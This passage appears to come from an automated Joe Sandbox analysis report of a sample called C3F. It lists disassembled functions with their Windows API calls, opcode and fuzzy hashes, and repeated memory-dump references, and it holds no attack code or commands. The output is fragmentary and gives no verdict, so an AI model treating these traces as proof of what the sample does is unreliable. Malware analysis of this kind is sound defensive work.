Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
N, xrefs: 00404C06
@, xrefs: 00404B90
M, xrefs: 00404B43

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: d31232896a0766ad2925f7f8dcaf29c8f657193e0fe6649208ba40017519f6b3
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
